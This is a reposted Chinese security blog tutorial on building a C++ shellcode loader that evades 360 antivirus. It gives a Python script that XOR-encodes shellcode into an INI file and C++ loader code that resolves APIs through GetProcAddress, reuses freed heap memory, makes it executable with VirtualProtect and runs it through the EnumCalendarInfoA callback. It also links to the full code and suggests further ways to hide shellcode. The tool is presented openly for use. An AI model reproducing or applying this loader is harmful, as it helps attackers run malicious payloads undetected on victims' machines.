c++免杀360

admin 2024年10月13日01:27:42评论8 views字数 4352阅读14分30秒阅读模式

感谢各位师傅们阅读,文章哪有不对的,希望师傅们提出来呀

先看效果图

c++免杀360

c++免杀360

本文涉及到的知识如下:

1. windows api(至于这些api的参数这里就不讲了,师傅们可以自行docs.microsoft.com去搜索)

GetPrivateProfileIntA  这个api用来获取我们加密过后的shellcode(这个api返回值为uint)
GetCurrentDirectoryA 该api是获取当前程序所在目录
GetProcAddress 获取某个dll中的某个函数地址
GetModuleHandleA 获取某个模块的句柄
VirtualProtect 可以把内存变更为可执行
malloc 申请内存
itoa 功能:比如把 1 变为 '1'
EnumCalendarInfoA 这个api我们只用得着第一个参数,就是回调函数,利用它来执行我们的shellcode

GetPrivateProfileIntA这个api我举个例子
c++免杀360
在1.ini这个配置文件中,[key]以下的被称之为“部分“,abc称之为键,123为值,GetPrivateProfileIntA就是获取其整数值(用这个api主要是因为我把shellcode全转化成了整数),这个用c++进行写入加密后的shellcode不怎么方便,所以我选择用Python进行写入文件

2. UAF :这里我引用微信公众号红队蓝军的介绍

#include <iostream>
int main()
{
char* p1 = (char*)malloc(sizeof(char*)*10);
memcpy(p1,"hello",10);
printf("p1 addr:%x,p1:%sn",p1,p1);
free(p1); //释放堆空间
char* p2 = (char*)malloc(sizeof(char*) * 10);
memcpy(p2,"world",10);
printf("p2 addr:%x p1:%sn",p2,p2);
printf("p1 addr:%x,p1:%sn", p1, p1);
}

结果如下图:

c++免杀360

指针p1指向了一块大小为10字节的堆空间,并存入了一个字符串“hello”,随即释放了该堆空间,但并未将指针p1指向null,这将导致指针p1仍然能够使用。

紧接着指针p2指向了一块新申请为10字节的堆空间,并存入了一个字符串“world”,此时打印p1,p2的地址和字符串,发现p1和p2地址相同,并且此时能通过p1打印出“world”。

在free一块内存后,接着申请大小相同的一块内存,操作系统会将刚刚free掉的内存再次分配。

通过p2能够操作p1,如果之后p1继续被使用,则可以达到通过p2修改程序功能等目的,这也是UAF(use after free)的含义

3.

c++免杀360
加密代码如下:

print("| |__  _   _ _ __   __ _ ___ ___")
print("| '_ | | | | '_ / _` / __/ __|")
print("| |_) | |_| | |_) | (_| __ __ \")
print("|_.__/ __, | .__/ __,_|___/___/")
print(" |___/|_|")
shellcode_=b"" #shellcode放在这里
shellcode=[]
for i in shellcode_:
shellcode.append(str(i^1024))
shellcode=",".join(shellcode).split(",")
file=open("sc.ini","w")
file.write("[key]n")
n=0
for i in shellcode:
file.write(f"{n}={i}n")
n+=1
file.close()

这里就是通过for循环遍历shellcode,然后异或生成加密后的shellcode最后打卡sc.ini文件写入shellcode(这里师傅们能看懂吧?)

c++免杀360
脚本执行完后ini配置文件长这样,等号后面的值就是我们把shellcode异或加密后的整数值

上面是简单的加密方式,师傅们可以自己魔改哦,像ctf密码学中的凯撒密码和隐写这类的都可以用到免杀中

接下来写加载器加载shellcode就行了,这里我用的回调函数执行shellcode,api是EnumCalendarInfoA的第一个参数

c++免杀360

c++免杀360
这里调用api我都是利用GetProcAddress这个api获取函数地址,函数指针进行调用的 **(笔者我这里开始是想利用IAT表获取GetProcAddress函数地址,再利用函数指针调用GetProcAddress获取其他函数的地址,但我这里获取GetProcAddress地址调用后程序会报错) ,所以我是用的GetProcAddress函数获取getprocaddress地址(套娃,不过没啥用)

c++免杀360

c++免杀360
这里把写入shellcode后的ini配置文件和程序放在一起,利用GetCurrentDirectoryA获取当前程序的所在目录,利用strcat函数把目录和sc.ini文件名拼接在一起,就得到了sc.ini的完整路径,如下图所示

c++免杀360
随后我们只需要循环调用GetPrivateProfileIntA获取值进行解密即可

unsigned int bt[3000];
char buf[3000];
for (int i = 0; i < 3000; i++) {
_itoa_s(i, buf, 10);
UINT k = GetFileIntA("key",buf, NULL, PATH);
bt[i] = k;
}

_itoa_s和itoa是一样的,只不过在vs中用itoa会报错,要用_itoa_s,
其中GetFileIntA是我们之前typedef定义的

typedef UINT(WINAPI* GetfileInt)(
LPCSTR LPAPPNAME,
LPCSTR KEYNAME,
INT DEFINE,
LPCSTR FILENAME
);
GetfileInt GetFileIntA = (GetfileInt)GetFuncAddr(
GetModuleHandleA("kernel32.dll"),
"GetPrivateProfileIntA"
);

这里为什么用到itoa函数,是因为GetPrivateProfileIntA的参数是LPCSTR类型(其实就是我们熟悉的char*),在上面我们生成的sc.ini文件是1=1098这种类型的,所以传入的参数得一一对应,传入“1“即可获取1098这个值,所以我们直接利用itoa把1变成“1“,这样就方便了许多,利用for循环把shellcode放入bt这个数组里

拿到shellcode后,接下来就是前面提到过的UAF(对免杀有没有帮助这个我不知道,既然学到了,那就用上呗)

typedef BOOL(WINAPI* EnumInfo)(
CALINFO_ENUMPROCA proc,
LCID Eocale,
CALID Calender,
CALTYPE Type
);

typedef BOOL(WINAPI* Exchange_)(
LPVOID lpAddress,
SIZE_T DWsIZE,
DWORD New,
PDWORD Old
);

typedef FARPROC(WINAPI* GetFuncAddr_)(
HMODULE hmod,
LPCSTR lpName
);

GetFuncAddr_ GetFuncAddr = (GetFuncAddr_)GetProcAddress(
GetModuleHandleA("Kernel32.dll"),
"GetProcAddress"
);

Exchange_ exchange_ = (Exchange_)GetFuncAddr(
GetModuleHandleA("kernel32.dll"),
"VirtualProtect"
);

EnumInfo EnumInfoA = (EnumInfo)GetFuncAddr(
GetModuleHandleA("Kernel32.dll"),
"EnumCalendarInfoA"
);

unsigned char* a = (unsigned char*)malloc(sizeof(bt));
free(a);
unsigned char* b = (unsigned char*)malloc(sizeof(bt));
for (int i = 0; i < (sizeof(bt) / sizeof(bt[0])); i++) {
b[i] = (unsigned char)(bt[i] ^ 1024);
}
DWORD p;
exchange_(a, sizeof(a), 0x40,&p);
EnumInfoA((CALINFO_ENUMPROCA)a, LOCALE_SYSTEM_DEFAULT, ENUM_ALL_CALENDARS, CAL_ICALINTVALUE);

这个我写的加载器,算比较简单吧,就是回调函数执行shellcode,代码中的exchange_函数和EnumInfoA函数是之前typedef定义好的,
我们申请了a和b两个内存,释放了a,因为UAF(上面解释得有),虽说a释放了,但a的值却和b相同,所以我们把之前存到bt数组里的shellcode异或解密并且强制类型转换成unsigned char类型写入b内存里

随后用exchange*(virtualprotect)这个函数把a内存属性改为可执行,exchange*(a, sizeof(a), 0x40,&p); 然后利用回调函数执行a(因为a和b的值是相同的)

c++免杀360
这是EnumCalendarInfoA函数的参数,只有第一个参数是重要的,回调函数(其实就是函数指针),其余参数跟着文档填即可(这种函数很多,师傅们多找找一些知名度低的,免杀效果会好不少的喔!)

完整代码

完整代码我发在了github平台上,地址https://github.com/wz-wsl/360-bypass

结尾

一个小思路
windows有个api叫PathFindFileName,作用是获取当前程序的名字,这里我们可以把名字换成shellcode,利用这个api获取shellcode,不过需要注意的是windows下文件名最长为260个字符,所以我们可以把一半shellcode当成文件名,剩下的shellcode就利用其它方法呀

这里我收集了一些申请内存的api
GlobalAlloc
CoTaskMemAlloc
HeapAlloc
RtlCreateHeap
VirtualAlloc
VirtualAllocEx
ReallocADsMem AllocADsMem
CoTaskMenAlloc

希望能帮到师傅们!

来源:https://forum.butian.net/share/1805

原文始发于微信公众号(黄公子学安全):c++免杀360

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月13日01:27:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   c++免杀360http://cn-sec.com/archives/1917304.html

发表评论

匿名网友 填写信息